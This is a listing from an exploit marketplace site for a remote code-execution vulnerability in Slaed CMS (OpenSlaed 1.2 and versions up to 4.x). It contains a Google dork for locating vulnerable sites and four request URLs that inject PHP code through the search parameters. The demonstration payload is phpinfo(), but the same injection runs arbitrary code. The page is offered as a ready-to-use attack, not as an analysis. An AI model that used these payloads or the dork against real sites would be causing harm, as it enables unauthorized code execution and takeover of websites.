[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Slaed CMS Code Exec Vulnerability

Author
brain[pillow]
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16927
Category
web applications
Date add
11-09-2011
Platform
php
# Exploit Title: Slaed CMS Code exec
# Google Dork: "Powered by SLAED CMS"
# Date: 03.05.2011
# Author: brain[pillow]
# Software Link: http://slaed.net/
# Version: OpenSlaed 1.2 (free), Slaed CMS <= 4.*
 
On different versions of this software next vulnerabilities are availible:
 
/index.php?name=Search&mod=&word={${phpinfo()}}&query=ok&to=view
/index.php?name=Search&mod=&word=ok&query={${phpinfo()}}&to=view
 
OR:
 
/search.html?mod=&word={${phpinfo()}}&query=ok&to=view
/search.html?mod=&word=ok&query={${phpinfo()}}&to=view



#  0day.today [2024-11-15]  #